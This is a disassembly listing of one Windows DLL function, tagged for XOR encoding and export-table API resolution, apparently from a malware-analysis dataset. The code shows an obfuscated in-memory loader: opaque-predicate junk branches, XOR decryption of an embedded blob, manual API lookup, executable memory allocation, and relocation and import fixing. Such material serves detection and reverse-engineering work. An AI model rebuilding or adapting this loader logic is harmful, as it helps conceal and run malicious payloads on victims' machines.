Function at 0x180001060
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x78
cmp dword [0x180020a6c], 0xa
jl 0x180001092
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180001092
nop word [rax + rax]
jmp 0x180001090
lea rdi, section..data
mov ebp, 3
lea rbx, [rsp + 0x64]
jmp 0x1800010be
add rdi, 1
add rbx, 1
sub rbp, 1
jb 0x180001122
mov dl, byte [rdi]
mov byte [rbx], dl
mov eax, dword [0x180020a70]
mov ecx, dword [0x180020a6c]
lea esi, [rax - 1]
imul esi, eax
and esi, 1
cmp ecx, 0xa
jl 0x180001110
test esi, esi
je 0x180001110
cmp ecx, 0xa
jl 0x1800010f0
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001120
mov byte [rbx], dl
cmp dword [0x180020a6c], 0xa
jl 0x1800010c0
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800010f0
jmp 0x1800010c0
cmp ecx, 0xa
jl 0x1800010b0
test esi, esi
je 0x1800010b0
jmp 0x180001090
jmp 0x180001120
mov ebx, dword [0x180020a74]
mov ebp, dword [0x180020a78]
lea esi, [rbx - 1]
imul esi, ebx
test sil, 1
sete dl
cmp ebp, 0xa
setl bl
or bl, dl
cmp bl, 1
jne 0x180001190
mov r12d, dword [rsp + 0x64]
xor edi, edi
lea r15, section..data
nop word cs:[rax + rax]
cmp r12, rdi
je 0x180001192
mov edx, edi
and edx, 0x3ff
movzx edx, byte [rdx + r15 + 4]
xor dl, byte [rdi + r15 + 0x404]
xor dl, 0xc
mov byte [rdi + r15 + 0x404], dl
add rdi, 1
test bl, bl
jne 0x180001160
nop
jmp 0x180001190
cmp ebp, 0xa
jl 0x180001252
and esi, 1
je 0x180001252
cmp ecx, 0xa
jl 0x1800011b8
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001250
lea rdx, [rsp + 0x54]
lea rsi, [r12 + r15]
add rsi, 0x404
mov edi, 3
mov bl, byte [rsi]
mov byte [rdx], bl
mov eax, dword [0x180020a70]
mov ecx, dword [0x180020a6c]
lea ebp, [rax - 1]
imul ebp, eax
and ebp, 1
cmp ecx, 0xa
jl 0x18000121e
test ebp, ebp
je 0x18000121e
cmp ecx, 0xa
jl 0x180001200
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001240
nop
mov byte [rdx], bl
cmp dword [0x180020a6c], 0xa
jl 0x1800011cf
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001200
jmp 0x1800011cf
cmp ecx, 0xa
jl 0x180001227
test ebp, ebp
jne 0x180001250
add rsi, 1
add rdx, 1
sub rdi, 1
jb 0x180001252
mov bl, byte [rsi]
jmp 0x1800011cf
jmp 0x180001240
jmp 0x180001250
cmp ecx, 0xa
jl 0x180001266
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001310
lea r8, [r12 + r15]
add r8, 0x404
mov esi, 3
lea rbx, [rsp + 0x54]
mov rdi, r8
mov dl, byte [r8]
mov byte [rbx], dl
mov eax, dword [0x180020a70]
mov ecx, dword [0x180020a6c]
lea ebp, [rax - 1]
imul ebp, eax
and ebp, 1
cmp ecx, 0xa
jl 0x1800012de
test ebp, ebp
je 0x1800012de
cmp ecx, 0xa
jl 0x1800012c0
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001300
nop word cs:[rax + rax]
nop dword [rax + rax]
mov byte [rbx], dl
cmp dword [0x180020a6c], 0xa
jl 0x180001281
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800012c0
jmp 0x180001281
cmp ecx, 0xa
jl 0x1800012e7
test ebp, ebp
jne 0x180001310
add rdi, 1
add rbx, 1
sub rsi, 1
jb 0x180001312
mov dl, byte [rdi]
jmp 0x180001281
jmp 0x180001300
jmp 0x180001310
cmp dword [0x180020a78], 0xa
jl 0x180001330
mov edx, dword [0x180020a74]
lea ebp, [rdx - 1]
imul ebp, edx
and ebp, 1
jne 0x1800011a4
add r8, 4
mov qword [rsp + 0x48], r8
mov ebp, dword [rsp + 0x54]
test rbp, rbp
je 0x180001495
xor eax, eax
cmp ebp, 0x20
jb 0x180001470
lea rdx, [rbp - 1]
cmp rdx, 0x400
jae 0x180001470
lea rcx, [r12 + r15]
add rcx, 0x408
lea rdx, [r15 + rbp]
add rdx, 4
cmp rcx, rdx
jae 0x18000139b
lea rcx, [r12 + rbp]
add rcx, r15
add rcx, 0x408
lea rdx, str.TlPqFFDaelVbioFePRfitTgOBRxfRaWrOCofvrWEsYjxaGDzSlokJimMgnozAMJwrfrQTvFVIbqyPeLxPXJDDJBMurdzjJTQKDaBSHsxGFRCOXjtvTdKMcBQVfOJFiEHquIhSQAokEIZIdEqmxZWvIWBuQPDcXFPqHjsRFCCaDJSRjqsfwXTpAbGYTXuSpthGIJLOJiZbSfFBArKcKsziXORXxunOtuhyXQGJICUXXBAFmOfuvADmrOzVwjeiSUtrLZofHihmbbJtYsvORAmRZLDKrOjTqIYWuDIbFCLicWdJOBCCzzWkhCaYXbelqLgnetjBDVjKdcSvjSaSGtvjZMXdkiMgSHFfGaaIXDEhXCGXjXsDkzQEjYZjPpuxuLQyDbiAEAIbIdsiKHmuoebOSAVmeZEHSqijFRZkUslgzZMZhyvLMOqccRaTFfOdDykPlMgofscAqKTSqyiofDpqpxHDKxGJUSzgAZFwYvGBOYfJCvuAgurZCHScRloxCpnORiOoJcXpjUJxCJeHmALunnhPhAbrQMKFLMlyWyDhEziHdqMjDgZAMPhAcPhqqqknxGaKnykLLKuMkybtaQCnVSdMgUHtKLhexetIMBDWBTFMEXfMeBhdyOIOiDXcdSAPTnaBvMzuiFSkPkOeCioVKwShjzJSWLvmeKsClSTdwcXfpRtwtVtnnvbhrIVrpAXJHVMyCmJhwIgBDCTHKwHGqwKtdCZDezTBShnaqWZDUrTDdMmPwpFAXPaHxvEGlFxbfIsxpDvdnQcMgwfLFsHXkbEEpzLfaYFGfErfpzJHJLqMemGcbyXXDKkEHtnePonFLuQKAFdcDiKFlYBIgRbFBhJLiCqlPtyzDbjhHcxOwAcAMCjlEaMZzlwYQtWhmpSBtLMlSzPhEFyeTDwgRzoIOzwwHHtzokepHJeMhrDjyJzykLqCuIgMKGnfDaTYcRYfdzGGGEwlMQuVTvSXfphTezBGdzSKeFpAbefmoUcrrzTbTDkCWBxiebbAsdgZvH
cmp rcx, rdx
jbe 0x18000139b
xor eax, eax
jmp 0x180001470
mov eax, ebp
and eax, 0xffffffe0
lea rbx, [rax - 0x20]
mov rdx, rbx
shr rdx, 5
add rdx, 1
mov ecx, edx
and ecx, 1
test rbx, rbx
je 0x180001433
lea rdi, [r12 + r15]
add rdi, 0x438
mov rbx, rcx
sub rbx, rdx
xor esi, esi
mov edx, esi
and edx, 0x3c0
movups xmm0, xmmword [rdx + r15 + 4]
movups xmm1, xmmword [rdx + r15 + 0x14]
movups xmm2, xmmword [rdi + rsi - 0x30]
xorps xmm2, xmm0
movups xmm0, xmmword [rdi + rsi - 0x20]
xorps xmm0, xmm1
movups xmm1, xmmword [rdi + rsi - 0x10]
movups xmm3, xmmword [rdi + rsi]
movups xmmword [rdi + rsi - 0x30], xmm2
movups xmmword [rdi + rsi - 0x20], xmm0
lea edx, [rsi + 0x20]
and edx, 0x3e0
movups xmm0, xmmword [rdx + r15 + 4]
xorps xmm0, xmm1
movups xmm1, xmmword [rdx + r15 + 0x14]
xorps xmm1, xmm3
movups xmmword [rdi + rsi - 0x10], xmm0
movups xmmword [rdi + rsi], xmm1
add rsi, 0x40
add rbx, 2
jne 0x1800013cc
jmp 0x180001435
xor esi, esi
test rcx, rcx
je 0x18000146b
mov edx, esi
and edx, 0x3e0
movups xmm0, xmmword [rdx + r15 + 4]
movups xmm1, xmmword [rdx + r15 + 0x14]
mov rcx, qword [rsp + 0x48]
movups xmm2, xmmword [rcx + rsi]
xorps xmm2, xmm0
movups xmm0, xmmword [rcx + rsi + 0x10]
xorps xmm0, xmm1
movups xmmword [rcx + rsi], xmm2
movups xmmword [rcx + rsi + 0x10], xmm0
cmp rax, rbp
je 0x180001495
lea rdx, [r12 + r15]
add rdx, 0x408
mov ecx, eax
and ecx, 0x3ff
movzx ecx, byte [rcx + r15 + 4]
xor byte [rdx + rax], cl
add rax, 1
cmp rax, rbp
jb 0x18000147b
cmp dword [0x180020a7c], 0xa
jl 0x1800014b1
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1800014b1
jmp 0x1800014af
add r12, 0x408
movsxd rax, dword [0x180004440]
mov r13, qword [rsp + 0x48]
cmp byte [r13], 0
lea r13, [r13 + 1]
jne 0x1800014c4
add rax, r15
add rax, 0x404
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r13
cmp byte [r13], 0
lea r13, [r13 + 1]
jne 0x1800014e2
mov r14, r13
cmp byte [r14], 0
lea r14, [r14 + 1]
jne 0x1800014f0
mov qword [rsp + 0x58], r14
cmp byte [r14], 0
lea r14, [r14 + 1]
jne 0x1800014ff
mov rbx, r14
cmp byte [rbx], 0
lea rbx, [rbx + 1]
jne 0x18000150c
mov rdi, rbx
cmp byte [rdi], 0
lea rdi, [rdi + 1]
jne 0x180001518
mov rcx, qword [rsp + 0x38]
call fcn.180002260
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x18000154c
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001a33
movsxd rax, dword [r9 + 0x3c]
mov eax, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rax + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x18000157b
mov ecx, dword [0x180020a90]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
jne 0x180001a35
add r8, r9
mov esi, dword [r9 + rax + 0x20]
mov r10d, dword [r9 + rax + 0x24]
add rsi, r9
add r10, r9
mov eax, dword [rsi]
add rax, r9
mov rbp, r13
movzx edx, byte [rbp]
movzx ecx, byte [rax]
test dl, dl
je 0x1800015ad
add rbp, 1
add rax, 1
cmp dl, cl
je 0x180001596
cmp dl, cl
je 0x1800015bb
add rsi, 4
add r10, 2
jmp 0x18000158e
movzx eax, word [r10]
mov eax, dword [r8 + rax*4]
add r9, rax
mov rcx, rbx
call r9
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x1800015ed
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001a37
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x18000161c
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001a39
add r8, r10
mov edx, dword [r10 + rcx + 0x20]
mov ecx, dword [r10 + rcx + 0x24]
add rdx, r10
add rcx, r10
mov esi, dword [rdx]
add rsi, r10
mov rbp, r14
movzx eax, byte [rbp]
movzx ebx, byte [rsi]
test al, al
je 0x18000164e
add rbp, 1
add rsi, 1
cmp al, bl
je 0x180001637
cmp al, bl
je 0x18000165c
add rdx, 4
add rcx, 2
jmp 0x18000162f
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add r10, rax
mov qword [rsp + 0x28], 0x1388
mov qword [rsp + 0x20], 0
mov r9d, 0x10
xor ecx, ecx
mov rdx, rdi
mov r8, rdi
call r10
mov rcx, qword [rsp + 0x38]
call fcn.180002260
mov rsi, rax
cmp dword [0x180020a84], 0xa
jl 0x1800016b4
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001a3b
movsxd rax, dword [rsi + 0x3c]
mov ecx, dword [rsi + rax + 0x88]
mov r8d, dword [rsi + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x1800016e2
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001a3d
add r8, rsi
mov edx, dword [rsi + rcx + 0x20]
mov ecx, dword [rsi + rcx + 0x24]
add rdx, rsi
add rcx, rsi
mov edi, dword [rdx]
add rdi, rsi
xor ebp, ebp
lea rax, [r12 + rbp]
movzx eax, byte [r15 + rax]
movzx ebx, byte [rdi + rbp]
test al, al
je 0x180001713
add rbp, 1
cmp al, bl
je 0x1800016fa
cmp al, bl
je 0x180001721
add rdx, 4
add rcx, 2
jmp 0x1800016f3
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add rsi, rax
mov rax, qword [rsp + 0x40]
mov edx, dword [rax + 0x50]
mov r8d, 0x3000
mov r9d, 0x40
xor ecx, ecx
call rsi
mov rdi, rax
mov eax, dword [0x180020a74]
mov ecx, dword [0x180020a78]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
cmp ecx, 0xa
jl 0x180001a4d
test edx, edx
je 0x180001a4d
movsxd rax, dword [0x180004440]
mov qword [rsp + 0x40], rax
cmp dword [0x180020a7c], 0xa
mov rsi, qword [rsp + 0x48]
jl 0x1800017a0
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
mov rsi, qword [rsp + 0x48]
and ecx, 1
jne 0x180001a3f
cmp byte [rsi], 0
lea rsi, [rsi + 1]
jne 0x1800017a0
mov qword [rsp + 0x38], rsi
cmp byte [rsi], 0
lea rsi, [rsi + 1]
jne 0x1800017ae
mov r14, rsi
cmp byte [r14], 0
lea r14, [r14 + 1]
jne 0x1800017ba
cmp byte [r14], 0
lea r14, [r14 + 1]
jne 0x1800017c4
mov rdi, r14
cmp byte [rdi], 0
lea rdi, [rdi + 1]
jne 0x1800017d1
mov r13, rdi
cmp byte [r13], 0
lea r13, [r13 + 1]
jne 0x1800017dd
mov rcx, qword [rsp + 0x38]
call fcn.180002260
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x180001813
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001a41
movsxd rax, dword [r9 + 0x3c]
mov eax, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rax + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001842
mov ecx, dword [0x180020a90]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
jne 0x180001a43
add r8, r9
mov ebp, dword [r9 + rax + 0x20]
mov r10d, dword [r9 + rax + 0x24]
add rbp, r9
add r10, r9
mov eax, dword [rbp]
add rax, r9
mov rdx, rsi
movzx ecx, byte [rdx]
movzx ebx, byte [rax]
test cl, cl
je 0x180001874
add rdx, 1
add rax, 1
cmp cl, bl
je 0x18000185e
cmp cl, bl
je 0x180001882
add rbp, 4
add r10, 2
jmp 0x180001855
movzx eax, word [r10]
mov eax, dword [r8 + rax*4]
add r9, rax
mov rcx, rdi
call r9
mov rdi, rax
cmp dword [0x180020a84], 0xa
jl 0x1800018b4
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001a45
movsxd rax, dword [rdi + 0x3c]
mov ecx, dword [rdi + rax + 0x88]
mov r8d, dword [rdi + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x1800018e2
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001a47
add r8, rdi
mov edx, dword [rdi + rcx + 0x20]
mov esi, dword [rdi + rcx + 0x24]
add rdx, rdi
add rsi, rdi
mov ebp, dword [rdx]
add rbp, rdi
mov rbx, r14
movzx eax, byte [rbx]
movzx ecx, byte [rbp]
test al, al
je 0x180001912
add rbx, 1
add rbp, 1
cmp al, cl
je 0x1800018fb
cmp al, cl
je 0x180001920
add rdx, 4
add rsi, 2
jmp 0x1800018f3
movzx eax, word [rsi]
mov eax, dword [r8 + rax*4]
add rdi, rax
mov qword [rsp + 0x28], 0x1388
mov qword [rsp + 0x20], 0
mov r9d, 0x10
xor ecx, ecx
mov rdx, r13
mov r8, r13
call rdi
mov rcx, qword [rsp + 0x38]
call fcn.180002260
mov rsi, rax
cmp dword [0x180020a84], 0xa
jl 0x180001977
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001a49
movsxd rax, dword [rsi + 0x3c]
mov ecx, dword [rsi + rax + 0x88]
mov r8d, dword [rsi + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x1800019a5
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001a4b
add r8, rsi
mov edx, dword [rsi + rcx + 0x20]
mov ecx, dword [rsi + rcx + 0x24]
add rdx, rsi
add rcx, rsi
mov ebp, dword [rdx]
add rbp, rsi
xor edi, edi
lea rax, [r12 + rdi]
movzx eax, byte [r15 + rax]
movzx ebx, byte [rbp + rdi]
test al, al
je 0x1800019d7
add rdi, 1
cmp al, bl
je 0x1800019bd
cmp al, bl
je 0x1800019e5
add rdx, 4
add rcx, 2
jmp 0x1800019b6
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add rsi, rax
mov rax, qword [rsp + 0x40]
mov edx, dword [rax + r15 + 0x454]
mov r8d, 0x3000
mov r9d, 0x40
xor ecx, ecx
call rsi
cmp dword [0x180020a7c], 0xa
jl 0x1800014b8
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1800014b8
jmp 0x1800014af
jmp 0x180001a33
jmp 0x180001a35
jmp 0x180001a37
jmp 0x180001a39
jmp 0x180001a3b
jmp 0x180001a3d
jmp 0x180001a3f
jmp 0x180001a41
jmp 0x180001a43
jmp 0x180001a45
jmp 0x180001a47
jmp 0x180001a49
jmp 0x180001a4b
cmp ecx, 0xa
jl 0x180001a58
test edx, edx
je 0x180001a58
jmp 0x180001a56
mov rdx, qword [rsp + 0x40]
lea r9, [rdx + 0x108]
xor r8d, r8d
mov rdx, qword [rsp + 0x40]
movzx edx, word [rdx + 6]
cmp r8, rdx
jae 0x180001b69
cmp dword [0x180020a6c], 0xa
jl 0x180001a97
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001b65
lea rcx, [r8 + r8*4]
mov eax, dword [r9 + rcx*8 + 0xc]
mov r10d, dword [r9 + rcx*8 + 0x10]
mov ecx, dword [r9 + rcx*8 + 0x14]
add rax, rdi
lea rsi, [rcx + r15]
add rsi, 0x404
sub r10, 1
jb 0x180001b2b
mov cl, byte [rsi]
mov byte [rax], cl
mov ecx, dword [0x180020a70]
mov ebx, dword [0x180020a6c]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
cmp ebx, 0xa
jl 0x180001b18
test edx, edx
je 0x180001b18
cmp ebx, 0xa
jl 0x180001af7
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
je 0x180001af7
jmp 0x180001b63
movzx ecx, byte [rsi]
mov byte [rax], cl
movzx ecx, byte [rsi]
mov byte [rax], cl
cmp dword [0x180020a6c], 0xa
jl 0x180001abe
mov ecx, dword [0x180020a70]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
jne 0x180001af2
jmp 0x180001abe
add rsi, 1
add rax, 1
cmp ebx, 0xa
jl 0x180001ab8
test edx, edx
je 0x180001ab8
jmp 0x180001b65
mov eax, dword [0x180020a74]
mov ecx, dword [0x180020a78]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
cmp ecx, 0xa
jl 0x180001b49
test edx, edx
jne 0x180001b67
add r8, 1
cmp ecx, 0xa
jl 0x180001a67
test edx, edx
je 0x180001a67
jmp 0x180001a56
jmp 0x180001b63
jmp 0x180001b65
jmp 0x180001b67
mov rdx, qword [rsp + 0x40]
mov rbp, qword [rdx + 0x30]
mov rdx, rdi
sub rdx, rbp
cmp ecx, 0xa
jl 0x180001b8a
lea ebp, [rax - 1]
imul ebp, eax
and ebp, 1
je 0x180001b8a
jmp 0x180001b88
mov rbp, qword [rsp + 0x40]
mov ebx, dword [rbp + 0xb0]
add rbx, rdi
movabs r8, 0x1fffffff8
cmp dword [rbx], 0
je 0x180001d11
mov esi, dword [rbx + 4]
cmp rsi, 8
jb 0x180001cdb
cmp ecx, 0xa
jl 0x180001bcc
lea ebp, [rax - 1]
imul ebp, eax
and ebp, 1
jne 0x180001d0b
add rsi, r8
shr rsi, 1
mov r9d, esi
xor r10d, r10d
cmp r10, r9
je 0x180001cdb
movzx esi, word [rbx + r10*2 + 8]
mov ebp, esi
shr ebp, 0xc
mov r11d, esi
and r11d, 0xfff
cmp esi, 0xa000
jae 0x180001c95
cmp ebp, 3
jne 0x180001cb2
mov eax, dword [rbx]
lea rax, [rdi + rax*4]
add dword [rax + r11*4], edx
mov eax, dword [0x180020a74]
mov ecx, dword [0x180020a78]
cmp ecx, 0xa
jl 0x180001cb2
lea esi, [rax - 1]
imul esi, eax
and esi, 1
je 0x180001cb2
lea rsi, [rdi + r11*4]
cmp ecx, 0xa
jl 0x180001c53
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180001c53
jmp 0x180001d09
mov eax, dword [rbx]
add dword [rsi + rax*4], edx
mov eax, dword [rbx]
add dword [rsi + rax*4], edx
cmp dword [0x180020a78], 0xa
jl 0x180001c72
mov eax, dword [0x180020a74]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001c4e
mov eax, dword [rbx]
add dword [rsi + rax*4], edx
mov eax, dword [0x180020a74]
mov ecx, dword [0x180020a78]
cmp ecx, 0xa
jl 0x180001cb2
lea ebp, [rax - 1]
imul ebp, eax
and ebp, 1
jne 0x180001c39
jmp 0x180001cb2
cmp ebp, 0xa
jne 0x180001cb2
mov eax, dword [rbx]
mov ecx, r11d
add rcx, rdi
add qword [rax + rcx], rdx
mov eax, dword [0x180020a74]
mov ecx, dword [0x180020a78]
lea esi, [rax - 1]
imul esi, eax
and esi, 1
cmp ecx, 0xa
jl 0x180001cc4
test esi, esi
jne 0x180001d0d
add r10, 1
cmp ecx, 0xa
jl 0x180001bd8
test esi, esi
je 0x180001bd8
jmp 0x180001d0b
lea esi, [rax - 1]
imul esi, eax
and esi, 1
cmp ecx, 0xa
jl 0x180001ced
test esi, esi
jne 0x180001d0f
mov ebp, dword [rbx + 4]
add rbx, rbp
cmp ecx, 0xa
jl 0x180001ba2
test esi, esi
je 0x180001ba2
jmp 0x180001b88
jmp 0x180001d09
jmp 0x180001d0b
jmp 0x180001d0d
jmp 0x180001d0f
cmp ecx, 0xa
jl 0x180001d23
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180001d23
jmp 0x180001d21
lea rax, [rdi + 2]
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x40]
mov eax, dword [rax + 0x90]
add rax, rdi
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov r14d, dword [rax + 0xc]
test r14, r14
je 0x1800021ef
add r14, rdi
jmp 0x180001d66
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add r9, rax
mov rcx, r14
call r9
mov rcx, qword [rsp + 0x38]
call fcn.180002260
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x180001d91
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800021d9
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001dc0
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x1800021db
add r8, r9
mov esi, dword [r9 + rcx + 0x20]
mov ecx, dword [r9 + rcx + 0x24]
add rsi, r9
add rcx, r9
mov ebx, dword [rsi]
add rbx, r9
mov rbp, r13
movzx eax, byte [rbp]
movzx edx, byte [rbx]
test al, al
je 0x180001df2
add rbp, 1
add rbx, 1
cmp al, dl
je 0x180001ddb
cmp al, dl
je 0x180001e00
add rsi, 4
add rcx, 2
jmp 0x180001dd3
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add r9, rax
mov rcx, r14
call r9
mov r12, rax
mov edx, dword [0x180020a74]
mov eax, dword [0x180020a78]
lea ecx, [rdx - 1]
imul ecx, edx
and ecx, 1
cmp eax, 0xa
jl 0x180001ed7
test ecx, ecx
je 0x180001ed7
mov rcx, qword [rsp + 0x38]
call fcn.180002260
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x180001e64
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800021dd
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001e93
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x1800021df
add r8, r9
mov esi, dword [r9 + rcx + 0x20]
mov ecx, dword [r9 + rcx + 0x24]
add rsi, r9
add rcx, r9
mov ebx, dword [rsi]
add rbx, r9
mov rbp, r13
movzx eax, byte [rbp]
movzx edx, byte [rbx]
test al, al
je 0x180001ec5
add rbp, 1
add rbx, 1
cmp al, dl
je 0x180001eae
cmp al, dl
je 0x180001d56
add rsi, 4
add rcx, 2
jmp 0x180001ea6
cmp eax, 0xa
jl 0x180001ee4
test ecx, ecx
jne 0x1800021e9
mov rbp, qword [rsp + 0x48]
mov ebx, dword [rbp]
mov r14d, dword [rbp + 0x10]
add rbx, rdi
mov qword [rsp + 0x68], rbx
add r14, rdi
mov rbp, qword [rsp + 0x68]
mov rbp, qword [rbp]
test rbp, rbp
je 0x1800021b6
mov rdx, qword [rsp + 0x70]
add rdx, rbp
test rbp, rbp
movzx r15d, bp
cmovns r15, rdx
cmp eax, 0xa
jl 0x180001ff8
test ecx, ecx
je 0x180001ff8
mov rcx, qword [rsp + 0x38]
call fcn.180002260
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x180001f5c
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800021eb
movsxd rax, dword [r9 + 0x3c]
mov eax, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rax + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001f8b
mov ecx, dword [0x180020a90]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
jne 0x1800021ed
add r8, r9
mov edx, dword [r9 + rax + 0x20]
mov esi, dword [r9 + rax + 0x24]
add rdx, r9
add rsi, r9
mov eax, dword [rdx]
add rax, r9
mov rbp, qword [rsp + 0x58]
movzx ebx, byte [rbp]
movzx ecx, byte [rax]
test bl, bl
je 0x180001fbf
add rbp, 1
add rax, 1
cmp bl, cl
je 0x180001fa8
cmp bl, cl
je 0x180001fcd
add rdx, 4
add rsi, 2
jmp 0x180001f9e
movzx eax, word [rsi]
mov eax, dword [r8 + rax*4]
add r9, rax
mov rcx, r12
mov rdx, r15
call r9
mov qword [r14], rax
mov edx, dword [0x180020a74]
mov eax, dword [0x180020a78]
lea ecx, [rdx - 1]
imul ecx, edx
and ecx, 1
cmp eax, 0xa
jl 0x180002027
test ecx, ecx
jne 0x1800020ff
jmp 0x180002027
add r14, 8
add qword [rsp + 0x68], 8
cmp eax, 0xa
jl 0x180001efb
test ecx, ecx
je 0x180001efb
jmp 0x1800021e9
mov rcx, qword [rsp + 0x38]
call fcn.180002260
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x180002052
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800021e1
movsxd rax, dword [r9 + 0x3c]
mov eax, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rax + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180002081
mov ecx, dword [0x180020a90]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
jne 0x1800021e5
add r8, r9
mov edx, dword [r9 + rax + 0x20]
mov esi, dword [r9 + rax + 0x24]
add rdx, r9
add rsi, r9
mov eax, dword [rdx]
add rax, r9
mov rbp, qword [rsp + 0x58]
movzx ebx, byte [rbp]
movzx ecx, byte [rax]
test bl, bl
je 0x1800020b5
add rbp, 1
add rax, 1
cmp bl, cl
je 0x18000209e
cmp bl, cl
je 0x1800020c3
add rdx, 4
add rsi, 2
jmp 0x180002094
movzx eax, word [rsi]
mov eax, dword [r8 + rax*4]
add r9, rax
mov rcx, r12
mov rdx, r15
call r9
mov qword [r14], rax
mov edx, dword [0x180020a74]
mov eax, dword [0x180020a78]
lea ecx, [rdx - 1]
imul ecx, edx
and ecx, 1
cmp eax, 0xa
jl 0x180002007
test ecx, ecx
je 0x180002007
mov rcx, qword [rsp + 0x38]
call fcn.180002260
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x18000212a
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800021e3
movsxd rax, dword [r9 + 0x3c]
mov eax, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rax + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180002159
mov ecx, dword [0x180020a90]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
jne 0x1800021e7
add r8, r9
mov edx, dword [r9 + rax + 0x20]
mov esi, dword [r9 + rax + 0x24]
add rdx, r9
add rsi, r9
mov eax, dword [rdx]
